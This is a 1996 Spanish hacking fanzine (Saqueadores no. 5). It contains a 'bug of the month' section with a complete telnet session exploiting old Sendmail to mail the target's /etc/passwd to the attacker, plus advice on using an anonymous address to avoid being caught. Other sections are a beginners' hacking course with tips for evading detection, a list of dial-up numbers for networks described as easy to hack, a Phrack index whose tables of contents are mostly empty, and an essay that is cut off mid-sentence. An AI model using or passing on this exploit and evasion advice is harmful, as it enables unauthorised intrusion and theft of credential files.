SAQUEADORES N§5 20-12-96
Segunda Epoca
Fanzine del underground informatico

Division tecnica ³ Eljaker, Warezzman, El Duke de Sicilia, +Ochodedos...
Colaboradores ³ SLinK, RoN, RedCool, Valfadir...
Division comercial ³ Ericx, Warezzman, Red...
Disponible en º http://www.geocities.com/SiliconValley/park/7574/
º http://iberhack.ml.org
º http://www.geocities.com/SiliconValley/Park/7479/
E-mail ³ eljaker@hotmail.com
³ el_duke1@hotmail.com
³ warezzman@geocities.com
Irc ³ #hack, #iberhack, etc...
³ En la red hispana de irc
³

"If you give a man a crack he'll be hungry again
tomorrow, but if you teach him how to crack, he'll
never be hungry again"

+ORC

01. CONTENIDOS

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 02. PRESENTACION                                                          º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Hola amigos soy el Duke de Sicilia. Eljaker esta un poco liado ultimamente, por eso me han encargado que cordine temporalmente el fanzine. Ademas de este han ocurrido otros cambios.

Como habreis notado, el look de la revista ha cambiado bastante. Tenemos nuevos colaboradores y articulistas.

Hemos decidido que la revista tendra un caracter democratico, por lo tanto la figura de editor-jefe desaparece, ahora somos un equipo donde nadie manda.

Vamos a incluir articulos ideologicos y de opinion. (No os preocuipeis, no pretendemos transformar el fanzine en un folletin politico) Aunque los hackers y crackers pertenezcamos al undergroung, no podemos olvidarnos de lo que pasa hay fuera, el mundo cambia muy deprisa y debemos estar preparados para los cambios, y si es necesario, nosotros mismos nos veremos obligados ha hacer esos cambios.

Hay otros cambios menos obvios, de los que ya os ireis dando cuenta poco a poco.

el duke de sicilia

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 03. EL BUG DEL MES                                                        º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Hola soy el Red Cracker y me han encargado que escriba esta nueva seccion de la revista. (Solo en este numero) La verdad es que mi especialidad no es el hacking por eso el bug del que voy a hablar no es muy espectacular. Ademas es un poco antiguo con lo que seguramente no funcionara en la mayoria de las maquinas.

Lo que hace este bug, es permitir que enviando un comando en la linea del sendmail puedas conseguir que el fichero de passwords sea enviado a tu direccion de correo. (Por eso es conveniente usar una direccion anonima para no ser pillado)

Sistemas: Unix's en general, espacialmente AIX y SUNOS
Versiones: Sendmail, versiones anteriores a la 5.57
Descripcion: Bug del sendmail
Ejemplo: en unix o linux

```
 saqland % telnet victima.com 25
 Trying 128.128.128.1...
 Connected to victima.com
 Escape character is '^]'.
 220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
 mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"
 250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok
 rcpt to: loquequieras
 550 loquequieras... User unknown
 data
 354 Enter mail, end with "." on a line by itself
 .
 250 Mail accepted
 quit
 Connection closed by foreign host.
 saqland %
```

Ejemplo: Conexion desde DOS o Windows y otros

Con un programa de telnet conecta a este url -> victima.com:25
o si se puede configurar en los menus configuralo para que la
conexion se haga al puerto 25, que es el del sendmail.

```
 220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
 mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"
 250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok
 rcpt to: loquequieras
 550 loquequieras... User unknown
 data
 354 Enter mail, end with "." on a line by itself
 .
 250 Mail accepted
 quit
```

Notas:
-victima.com = nombre del ordenador a hackear
-saqland = nombre de nuestro ordenador

-Lo que aparece con un numero delante son mensajes de nuestra victima,
el resto es lo que tienes que escribir.
-Aprende a usar bien el programa de telnet, porque es el que mas usaras a la
hora de hackear.

Red

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 04. CURSO DE HACKING EMPEZANDO DESDE CERO I                               º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Hola amigos, bienvenidos al maravilloso mundo del hacking. Como estas leyendo esto supongo que tendras muy pocos conocimientos sobre hacking, por eso voy a intentar escribir de la forma mas clara que pueda, aun asi, si os perdeis no teneis mas que mandarme un mensaje y me correjire. Los que esten leyendo esto tambien, pero tengan un poco mas de nivel, pueden seguir leyendo, nunca viene mal repasar los conocimientos basicos.

Conceptos basicos:

Como cualquier aburrido manual de iniciacion que se precie, ahora vienen las definiciones basicas que todo hacker debe saber. Estas definicones, no vienen en ningun diccionario y son muy subjetivas y cambientes, cada uno las interpreta a su manera y su significado varia con el tiempo o segun el contexto. Voy a intentar dar la definicon mas extendida, e intentare explicar todos los posibles significados y variantes:

HACKING >> Penetrar en sistemas informaticos ajenos sin su consentimiento, tanto "virtualmente" como fisicamente. (Ej. Entrar en una oficina y robar unos manuales)
>> Cualquier accion encaminada a conseguir lo primero; como son la ingenieria social, el trashing, etc...

HACKER >> Persona que hace hacking.
>> Persona muy habil con los ordenadores.
>> Pirata informatico, en cualquiera de sus muchos significados.

PIRATA INFORMATICO >> Persona dedicada a la copia y distribucion de software ilegal, tando software comercial crackeado, como shareware registrado, etc...
>> Persona que elimina las protecciones software. Mas conocido como cracker.
>> Delincuente informatico.

CRACKER >> Persona que elimina las protecciones logicas y a veces fisicas del software.
>> Hacker malvado.
>> Hacker que emplea la fuerza bruta, o metodos que da¤an el sistema que intenta hackear.

CRACKEADOR >> Programa utilizado para sacar los password encriptados de los archivos de passwords. Bien desencriptandolos, cuando se puede, o bien provando multiples convinaciones hasta que encuentra la correcta.

INGENIERIA SOCIAL >> Convencer a alguien, por diversos medios, para que nos facilite informacion util para hackear, o para que haga algo que nos beneficie. (No solo al hackear)

TRASHING >> (Recogida de basura) Rebuscar en la basura, para encontrar algo que pueda ser util a la hora de hackear.

HACKEAR POR FUERZA BRUTA >> No significa nada bestia, ni que necesite mucha fuerza, simplemente es un hacking que necesita mucho esfuerzo, mucho tiempo de proceso o de intentos. Como es probar distintos passwords hasta encontrar el acertado, usar un crackeador, desencriptar

un fichero encriptado, sacar las claves de un archivo de passwords usando las palabras de un diccionario, etc..

FICHERO DE PASSWORD >> Fichero en el que el sistema guarda sus claves de acceso.

CARDING >> Uso ilegitimo de las tarjetas de credito, o sus numeros, pertenecienes a otras personas. Se relaciona mucho con el hacking, porque para conseguir numeros de tarjetas de creditos, una de las mejores maneras es el hacking.

PHREAKING >> Uso del telefono, o de las redes y servicios telefonicos, gratis o con un coste menor del normal. Devido al uso intensivo del telefono por parte de los hackers, es bastante normal que usen el phreackin para ahorrarse unas pelas.
>> Modificacion o intervencion de las lineas telefonicas, con otros fines distintos del llamar gratis.

BOXING >> Uso de aparatos electronicos o electricos (Boxes) para hacer phreacking.

CABALLOS DE TROYA >> Programa que se queda residente en el sistema que pretendemos hackear y que nos facilita informacion sobre lo que pasa en el.
>> Un tipo de virus o programa que usa otros programas para introducirse en sistemas ajenos. (Que me perdonen por la definicon tan cutre, los expertos en virus)

PINCHADO DE LINEAS / SNIFFING >> Espiar y obtener la informacion que cicula por una red.

SNIFFER >> Programa encargado de intercepatar la informacion que circula por la red.

TRACEAR >> Seguir la pista a traves de la red a una informacion o a una persona.

BUG, AGUJERO, HOLE >> Defecto del software que permite a los hackers introducirse en ordenadores ajenos.

EXPLOIT >> Metodo concreto de usar un bug para entrar en un sistema.

WAR DIALER, DISCADOR >> Programa que escanea la linea telefonica en busca de modems.

PPP, TCP/IP, UDP >> Distintos protocolos de comunicacion, que usan las grandes redes como internet.

SUNOS, AIX, HP/UX, IRIX, VMS, UNIX >> Varios sistemas operativos que usan los grandes ordenadores.

ADMINISTRADOR, SYSOP, ROOT >> Persona que se encarga del mantenimiento de un sistema informatico, generalmente tienen control total sobre el sistema.

BACKDOOR >> Puerta trasera, mecanismo en el software que permite entrar evitando el metodo normal.

CORTAFUEGO, FIREWALL, BASTION >> Sistema avanzado de seguridad que impide a personas no acreditadas el acceso al sistema.

LOGIN--> Procedimiento de entrar en un sistema.

Normas basicas del hacker:

Para terminar este primer capitulo voy a dar, tambien algo aburrido y muy repetido por todos los manuales de iniciacion, pero es que es algo imprescindible. Codigo etico y de comportamiento del hacker.

1. Nunca da¤es algo intencionadamente. Lo unico que conseguiras sera buscarte problemas.
2. Modifica solo lo estrictamente necesario para entrar y para evitar ser localizado, o para poder acceder otras veces.
3. No hackees nunca por venganza ni por intereses personales o economicos.
4. No hackees sistemas pobres que no puedan reponerse de un ataque fuerte. Ni tampoco sistemas muy ricos o grandes que puedan permitirse gastar dinero y tiempo en buscarte.
5. Odia a telefonica pero no te metas con ella.
6. No hackees ordenadores del gobierno. (El gran hermano te observa) Tal vez sean mas emocionantes, pero no olvides que la policia trabaja para ellos.
7. No comentes con nadie, a menos que sea de total confianza, tus aza¤as. (Los mas grandes hackers de la historia han sido cazados debido a las confesiones de sus novias)
8. Cuando hables en bbs o por internet, procura ser lo mas discreto posible. Todo lo que digas quedara almacenado.
9. Se paranocio. Una da las caracteristicas principales de los mejores hackers es la paranoia.
10. No dejes ningun dato que pueda relacionarse contigo, en los ordenadores que hackees. Y si es posible, ni siquiera "firmes".
11. Estudia mucho antes de lanzarte a la practica. En el proximo numero de esta serie hablare de los lugares mas seguros para empezar, pero mientras tanto, ten en cuenta que eres un total novato, si te encuentras con problemas probablemente, tu aventura acabe antes de empezar.
12. Nunca dejes de estudiar y de aprender nuevas cosas, el mundo de la informatica avanza rapidamente, y es necesario mantener un buen ritmo si no quieres quedarte atras.

Algunos de estos consejos te pareceran anticuados y estupuidos, pero la mayoria tienen un doble objetivo. Mantener limpio el maltratado nombre de los hackers y evitarte problemas con la justicia.

eljaker

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 05. TRACEO DE LLAMADAS EN INFOVIA                                            º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Los rumores se han confirmado, nos temiamos algo asi de telefonica, pero la realidad supera la ficcion. Con un endiablado sistema, el gran hermano nos tiene cogido por los mismisimos.

Ya lo avisabamos en el numero anterior, conociendo nuestra ip* en internet cualquiera puede averiguar el telefono desde donde llamamos. Se acabo el anonimato en internet y peor aun, se acabo el hacking seguro en internet.

El proceso es el siguiente, cualquiera con el que te conectes en internet sabra tu direccion ip, con esta direccion se dirige a tu proveedor. En teoria los datos que tiene el proveedor sobre ti son anonimos, pero hay muchas maneras de conseguirlos. Una vez encontrado tu servidor, averiguan que cuenta es la que estas usando, y ya te han pillado.

Muchos pensaran, "pues yo uso una cuenta hackeada y nunca me pillarian". Grave error. Aqui es donde esta la verdadera putada de telefonica. Segun hemos averiguado por fuentes fiables, al conectar con tu servidor por infovia, a tu proveedor no solo le llegan tu login y tu password, sino que tambien se envia tu caller-id*, conociendo tu caller-id conocen el numero del telefono desde el que llamas y entonces te localizan sin remedio.

Ademas de este control, telefonica ha colocado aun mas paranoicos, controles de seguridad en infovia, como contabilizacion de las veces que llamas en un dia, impiden el acceso libre entre servidores en infovia obligando a pasar por sus menus, etc...

La mayoria creen en el anonimato en internet, pero esto es una burda mentira, el anonimato no existe, porque el gran hermano te esta observnado.

NOTAS TECNICAS:

IP-->Es tu direccion en una red tcp-ip, y es necesaria para el intercambio de datos.

TCP-IP-->La red internet funciona bajo el protocolo de comunicacion tcp-ip, este protocolo se basa en envios de paquetes de datos, desde el servidor hasta el cliente. Devido a esta estructura, con cualquier ordenador que te conectes, intercambiaras paquetes, y para que esos paquetes puedan llegar a su destino, ambos deben conocer la ip, del otro, con lo cual es muy dificil quedar en anonimato, a menos que uses un tipo de ip-spoofing.

*IP-SPOOFING-->Es una tecnica, por la cual, el ordenador con el que estas conectado no conoce tu verdadera ip, sino que recibe otra. Se ha mitificado mucho, y en realidad tampoco es nada raro. (Aunque si es dificil hacerlo) Por ejemplo, usar un proxy, es un tipo de ip-spoofing, ya que los ordenadores con los que conectes a traves del proxy, recibiran la ip, de este y no la tuya.

CALLER-ID-->Es la informacion sobre tu llamada, que recibe la persona a la que estas llamando. Contiene la informacion de tu area (la centrlaita que te corresponde) y el numero de telefono desde donde llamas. Si el telefono al que llamas esta preparado para detectar tu caller-id, ese numero aparecera en su display incluso antes de descolgar. (Los que

tengan un modelo moderno de telefono movil, sabran de que hablo)
Con lo cual se acabo tu anonimato. Parece ser que los ordenadores de infovia, estan preparados para pasar esta informacion, automaticamnte a tu servidor. Esto en teoria sirve para evitar las estafas a los proveedores y que mas de una persona use la misma cuenta, pero esto es una excusa. Varios de nosotros hemos comprobado que en la mayoria de los servidores (arrakis, ctv, etc...) es posible que varias personas a la vez puedan usar la misma cuenta, sin preocuparse. En realidad este sistema es otra de las estrategias de telefonica para coartar nuestra libertad y nuestro anonimato.

*CENTRALITA--> Mas o menos cuando haces una llamada pasa esto:
1. Descuelgas y marcas un numero.
2. Tu centralita, recibe este numero y dependiendo de varias cosas, como son el prefijo que hayas marcado, el tipo de llamada*, el tipo de centralita*, etc... establecera una conexion u otra. En este ejemplo, vamos a suponer que la centralita conecta directamnete con la centralita de la persona a la que llamas y le envia el numero de la persona y tu caller-id.
3. Esta segunda centralita manda las se¤ales de llamada a su telefono, y tu caller-id. (Inlcuso antes de descolgar el telefono saben quien llama)
4. La persona descuelga el telefono y la conexion se establece.

*TIPO DE LLAMADA--> Si la llamada es interproviancial o internacional, tu llamada pasara por una o varias centralitas intermedias mas, y si tu centralita coincide con la del llamado no es necesario pasar por otra centalita. (Esto se nota mucho, porque la llamada es muy rapida y porque el volumen se oye mas alto que el normal)

*TIPOS DE CENTRALITAS--> Hay varios modelos de centralitas, pero para simplificar vamos a agruparlos en dos tipos:
a) Las centralitas analogicas, estas son las mas antiguas y progresivamente las van cambiando por las nuevas. Estas centralitas se reconocen, porque la marcacion es por pulsos (La que usaban los telefonos antiguos en los que habia que girar con el dedo una rueda numerada, y cada numero suena como un tictictictic)
Aunque hay algunas centralitas analogicas que tambien aceptan marcacion por tonos. Debido a la antigua tecnologia de estas centralitas, la informacion sobre el caller-id, no se envia, aun asi, es relativamnte facil tracear la llamada.
b) Centralitas digitales, estas son mas nuevas, y se reconocen porque la maracion se realiza por tonos. (La tipica marcacion, en la que a cada numero le corresponde un solo bip) Estas centralitas son de tecnologia mas moderna y ademas de enviar tu caller-id, tambien hacen un completo registro de tu llamada, con lo cual, aunque la persona no disponga de display para ver el caller-id, puede llegar a ti sin muchos problemas. Permiten todos los servios nuevos que ha creado telefonica, como el devios de llamadas, la llamada a tres, la llamada anonima*, etc...

*LLAMADA ANONIMA--> Uno de los nuevos servicios de telefonica, es la posibilidad de evitar que tu caller-id sea enviado, mediante la marcacion de un codigo especial antes de llamar. Este codigo esta siendo investigado por nuestro equipo y posiblemente sea el sujeto de uno de nuestros nuevos expedientes secretos. Aun asi, el telefono al que llameis puede que no acepte llamadas anonimas, con lo que el truco no servira.

La conclusion es que hay que andarse con mucho cuidado de ahora en adelante, con lo que se hace en internet. Como decia un famoso hacker:
"Solo los hackers paronicos consiguen continuar cuando han cumplido mas de 21 a¤os"

el duke de sicilia

EOF

ÉÍÍÍ»
º 06. TELEFONOS DE ALGUNAS REDES CON NUMERO EN ESPA¥A º
ÈÍÍÍ¼

Los lugares calsicos de hackeo son las grandes redes, por eso he recopilado en este articulo, los numeros de las redes mas importantes que ofrecen sus servicios en nuestro pais. Son pocas comparadas con las que operan en Estados unidos, pero algo es algo.

Nodo	Ciudad	Terminal	BPS	Numero	Red
6670	BARCELONA	E71	2400	(93)4155082	TYMNET
	BARCELONA	E71	9600	(93)4156518	TYMNET
6726	BILBAO	E71	2400	(94)4276492	TYMNET
06726	BILBAO	E71	9600	(94)4411500	TYMNET
13643	MADRID	E71	2400	(91)3026006	TYMNET
	MADRID	E71	9600	(91)3830918	TYMNET
04535	MADRID	E71	9600	(91)7661144	TYMNET
	TODAS	E71	9600	047	IBERPAC
	TODAS	E71	9600	048	IBERPAC
	TODAS	E71	14400	041	IBERPAC
	TODAS	E71	14400	042	IBERPAC
	BILBAO	E71	1200	(94)4419262	IBERPAC
	MADRID	E71	1200	(91)4582241	IBERPAC
	TODAS	E71	2400	090	DATAPAC
	MADRID	E71	2400	(91)3591951	COMPUSERVE
	BARCELONA	E71	2400	(93)4123282	COMPUSERVE
	BILBAO	8N1 VT100	1200	(94)4209444	SPRITEL
	BILBAO	8N1 VT100	1200	(94)5134048	SPRITEL
	BILBAO	8N1 VT100	1200	(94)3470044	SPRITEL
	TODAS	PPP	28800	050	INFOVIA
	TODAS	CEPT-1	9600	030	IBERTEX
	TODAS	CEPT-1	2400	031	IBERTEX
	TODAS	CEPT-1	2400	032	IBERTEX
	TODAS	CEPT-1	2400	033	IBERTEX
	TODAS	CEPT-1	2400	034	IBERTEX
	TODAS	CEPT-1	2400	035	IBERTEX
	TODAS	CEPT-1	2400	036	IBERTEX

Observaciones:

-A ver quien consigue conectar decentemente con el 090, lo hemos intentado de infinidad de maneras y nada. :-?

-Aunque algunas redes parezcan muy poco propicias para el hacking, esto solo es una apariencia.
#Por ejemplo ibertex es un sitio ideal (Aunque caro) de empezar a hackear. Tiene un sistema de seguridad muy escaso y antiguo, cualquier hacker que se precie puede conseguir algo.
#Infovia, al ser un sistema nuevo, tambien es facil de hackear, ya que tiene muchos agujeros inexplorados. Aunque andaros con cuidado, que jugar con la telefonica es peligroso. (El gran hermano te observa)

-Algunos datos estan ya anticuados, y otros no han sido comprobados, por favor que alguien compruebe los datos y nos envie los resulatados actualizados. Esto de vivir lejos de las grandes ciudades es un poco molesto a la hora de divertirse. :-)

AVISO: La mayoria de estas redes tienen fuertes medidas de seguridad,
a si que llevaros cuidado. Aunque su hackeo este muy bien documentado
como en el caso de la red datapac o la red tymnet, estos numeros
de telefono tienen activado la deteccion del caller-id, esto quiere decir
que nada mas llamar saben el numero del telefono desde el que estais
llamando. A menos que useis un telefono realmente limpio, os aconsejaria que
os andaseis con cuidado.

PETICION: Si alguien conoce el numero de telefono de otras redes, que por
favor, nos los envie, para que podamos publicarlo en un proximo numero.

EOF

ÉÍÍ»
º 07. Indice de la revista Phrack. Numeros 40 al 49 º
ÈÍÍ¼

Aunque nuestra publicacion es en espa¤ol, no podemos olvidar a Phrack la revista electronica sobre hacking en ingles mas famosa del mundo (Despues de la nuestra :-) y la que muchos piensan
que es la mejor. Por eso hemos decidido hacer un indice de los numeros mas actuales, los ultimos 9 numeros aparecidos de esta revista.

Datos sobre la revista:

Phrack Magazine
603 W. 13th #1A-278 (Direccion de correo)
Austin, TX 78701

ftp.fc.net (FTP)
/pub/phrack

http://www.fc.net/phrack (WWW)

phrack@well.com (Direccion e-mail)

Indice:
----
* Los articulos con un asterisco son de recomendada lectura. (Cortesia de el duke)

-= Phrack 40 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

1. Introduction by Dispater 06K
2. Phrack Loopback by Dispater and Mind Mage 50K
3. Phrack Pro-Phile on Lex Luthor by Taran King 36K
4. Network Miscellany by The Racketeer [HFC] 32K
5. Pirates Cove by Rambone 57K
6 Cellular Telephony, Part II by Brian Oblivion * 72K
7. The Fine Art of Telephony by Crimson Flash * 65K
8. BT Tymnet, Part 1 of 3 by Toucan Jones 57K
9. BT Tymnet, Part 2 of 3 by Toucan Jones 55K
10. BT Tymnet, Part 3 of 3 by Toucan Jones 91K
11. SummerCon 1992 by Knight Lightning and Dispater 35K
12. PWN/Part 1 by Datastream Cowboy 50K
13. PWN/Part 2 by Datastream Cowboy 48K
14. PWN/Part 3 by Datastream Cowboy 48K
Total: 702K

-= Phrack 41 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

1. Introduction by Dispater 07K
2. Phrack Loopback by Dispater and Mind Mage 52K
3. Phrack Pro-Phile on Supernigger 10K
4. Network Miscellany by The Racketeer [HFC] 35K

-= Phrack 42 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 43 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 44 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 45 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 46 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 47 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 48 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

-= Phrack 49 =-

Table Of Contents
~~~~~~~~~~~~~~~~~

el Duke de Sicilia

EOF

ÉÍÍÍ»
º 08. HACKERS, PHREACKERS Y PIRATAS º
ÈÍÍÍ¼

Texto presentado en la conferencia de la Midwest American Culture / Popular Culture Association realizada el 5 de noviembre de 1977 en la Universidad de Bowling Green State.

Hackers, phreakers y piratas por Gordon Meyer

El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de chavales que consiguen entrar en las corporaciones informatizadas. Pero tengo la impresion de que el termino "hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica. Considerando la cantidad de terminos tecnicos que la informatica nos ha traido, esto parece ser una exageracion, pero permitanme explicarme.

La cultura popular define a los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y realizan transacciones de una cuenta bancaria a otra.

Los criminologos, por otra parte, describen a los hackers en terminos menos halage¤os. Donn Parker los denomina "violadores electronicos" y August Bequai los describe como "vandalos electronicos". Ambos, aunque aseveran que las actividades de los hackers son ilegales, eluden habilmente llamarlos "criminales informaticos". Hacen una clara distincion entre el hacker que realiza sus actividades por diversion y el empleado que de repente decide hacer algo malo.

Por tanto, parece que tenemos una definicion en la que caben dos extremos: por un lado, el moderno ladron de bancos y por otro el chaval inquieto. Ambas actividades (y todas las intermedias) son calificadas con el mismo termino. Dificilmente se podria considerar esto como un ejemplo de conceptualizacion precisa.

Una gran parte de esta ambigedad puede seguirse desde el origen durante estos aproximadamente 20 a¤os de vida del mencionado termino. El termino comenzo a usarse aplicandolo a un grupo de pioneros de la informatica del MIT, a principios de la decada de 1960. Desde entonces, y casi hasta finales de la decada de 1970, un hacker era una persona obsesionada por conocer lo mas posible sobre los sistemas informaticos. Los dise¤adores del ordenador Apple, Jobs y Wozniack, pueden considerarse hackers en este sentido de la palabra.

Pero a principios de la decada de 1980, influenciados por la difusion de la pelicula Juegos de Guerra, y el ampliamente publicado arresto de una "banda de hackers" conocida como la 414, los hackers pasaron a ser considerados como chicos jovenes capaces de violar sistemas informaticos de grandes empresas y del gobierno. Desgraciadamente, los medios de informacion y la comunidad cientifica social no ha puesto mucho esfuerzo

por variar esta definicion.

El problema para llegar a una definicion mas precisa radica, tanto en la poca informacion que hay sobre sus actividades diaria, como en el hecho de que lo que se conoce de ellos no siempre cabe bajo las etiquetas de los delitos conocidos. Es decir, no hay una definicion legal que sea aplicable a los hackers, ni todas sus actividades conllevan la violacion de las leyes. Esto lleva a que la aplicacion del termino varie segun los casos, dependiendo de los cargos que se puedan imputar y no a raiz de un claro entendimiento de lo que el termino significa.

Este problema, y la falta de entendimiento de lo que significa ser un hacker, convierte a esta en una etiqueta excesivamente utilizada para aplicar a muchos tipos de intrusiones informaticas. Parker y Bequai, dos lideres en el estudio de los delitos informaticos, utilizan el termino "hacker" de formas ligeramente diferentes. Parker reconoce que hacking no abarca todo el rango de actividades asociadas a la violacion de los sistemas informaticos, pero lo prefiere al termino "phreaking", que considera muy oscuro. Por otra parte, Bequai no rechaza el termino "phreaking" y a menudo lo aplica a hechos que Parker califica como de hacker. Bequai confunde aun mas el termino al definir al hacker como alguien que utiliza ilegalmente las tarjetas de credito telefonico para acceder a sistemas que distribuyen software comercial ilegalmente. Volveremos a la definicion mas tarde, y veremos que tiene poco que ver con las actuaciones propias de los hackers, pero es ilustrativa de otros tipos de actividades informaticas inusuales.

Este trabajo se ha obtenido en base a una investigacion etnografica del submundo informatico oculto. La mayor parte de la informacion se ha obtenido a traves de entrevistas, llevadas a cabo en vivo por mi propia persona, con otros participantes en algunas actividades que mas tarde describire. Los terminos que utilizare, "hacker", "phreaker" y "pirata" se presentan y definen tal y como los entienden aquellos que se identifican con estos papeles. Mi referencia para este trabajo ha sido el submundo informatico oculto, no las leyes que se han hecho para controlarlo. Las tipificaciones e intenciones que se formulan al final deben entenderse, de alguna forma, como tentativas. Este articulo refleja el progreso del trabajo en mi tesis doctoral, y espero reordenar todos estos terminos en un entorno sociologico. Estas definiciones basicas son un primer paso necesario para delimitar, en el sentido sociologico, el submundo informatico oculto.

En primer lugar, el area de los hackers. En la tradicion de esta comunidad informatica, el hacker puede realizar dos tipos de actividades: bien acceder a un sistema informatico, o bien algo mas general, como explorar y aprender a utilizar un sistema informatico. En la primera connotacion, el termino lleva asociados las herramientas y trucos para obtener cuentas de usuarios validos de un sistema informatico, que de otra forma serian inaccesibles para los hackers. Se podria pensar que esta palabra esta intimamente relacionada con la naturaleza repetitiva de los intentos de acceso. Ademas, una vez que se ha conseguido acceder, las cuentas ilicitas con a veces compartidas con otros asociados, denominandolas "frescas". He aqui la vision estereotipada de los medios de comunicacion de los hackers un joven de menos de veinte a¤os, con conocimientos de informatica, pegado al teclado de su ordenador, siempre en busca de una cuenta no usada o un punto debil en el sistema de seguridad. Aunque esta vision no es muy precisa, representa bastante bien el aspecto del termino.
La segunda dimension del mencionado termino se ocupa de lo que sucede una vez que se ha conseguido acceder al sistema cuando se ha conseguido una clave de acceso. Como el sistema esta siendo utilizado sin autorizacion, el hacker no suele tener, el terminos generales, acceso a

los manuales de operacion y otros recursos disponibles para los usuarios legitimos del sistema. Por tanto, el usuario experimenta con estructuras de comandos y explora ficheros para conocer el uso que se da al sistema. En oposicion con el primer aspecto del termino, aqui no se trata solo de acceder al sistema (aunque alguno podria estar buscando niveles de acceso mas restringidos), sino de aprender mas sobre la operacion general del sistema. Contrariamente a lo que piensan los medios de comunicacion, la mayoria de los hackers no destruyen no da¤an deliberadamente los datos. El hacerlo iria en contra de su intencion de mezclarse con el usuario normal y atraeria la atencion sobre su presencia, haciendo que la cuenta usada sea borrada. Despues de gastar un tiempo sustancias en conseguir la cuenta, el hacker pone una alta prioridad para que su uso no sea descubierto.

Ademas de la obvia relacion entre las dos acepciones, la palabra "hacker" se reserva generalmente a aquellos que se dedican al segundo tipo. En otras palabras, un hacker es una persona que tiene el conocimiento, habilidad y deseo de explorar completamente un sistema informatico. El mero hecho de conseguir el acceso (adivinando la clave de acceso) no es suficiente para conseguir la denominacion. Debe haber un deseo de liderar, explotar y usar el sistema despues de haber accedido a el. Esta distincion parece logica, ya que no todos los intrusos mantienen el interes una vez que han logrado acceder al sistema. En el submundo informatico, las claves de acceso y las cuentas suelen intercambiarse y ponerse a disposicion del uso general. Por tanto, el hecho de conseguir el acceso puede considerarse como la parte "facil", por lo que aquellos que utilizan y exploran los sistemas son los que tienen un mayor prestigio.

La segunda actividad es la de los phreakers telefonicos. Se convirtio en una actividad de uso comun cuando se publicaron las aventuras de John Draper, en un articulo de la revista Esquire, en 1971. Se trata de una forma de evitar los mecanismos de facturacion de las compa¤ias telefonicas. Permite llamar a cualquiera de cualquier parte del mundo sin coste practicamente. En muchos casos, tambien evita, o al menos inhibe, la posibilidad de que se pueda trazar el camino de la llamada hasta su origen, evitando asi la posibilidad de ser cogido.
Par la mayor parte de los miembros del submundo informatico, esta es simplemente una herramienta para poder realizar llamadas de larga distancia sin tener que pagar enormes facturas. La cantidad de personas que se consideran phreakers, contrariamente a lo que sucede con los hackers, es relativamente peque¤a. Pero aquellos que si se consideran phreakers lo hacen para explorar el sistema telefonico. La mayoria de la gente, aunque usa el telefono, sabe muy poco acerca de el. Los phreakers, por otra parte, quieren aprender mucho sobre el. Este deseo de conocimiento lo resume asi un phreaker activo:

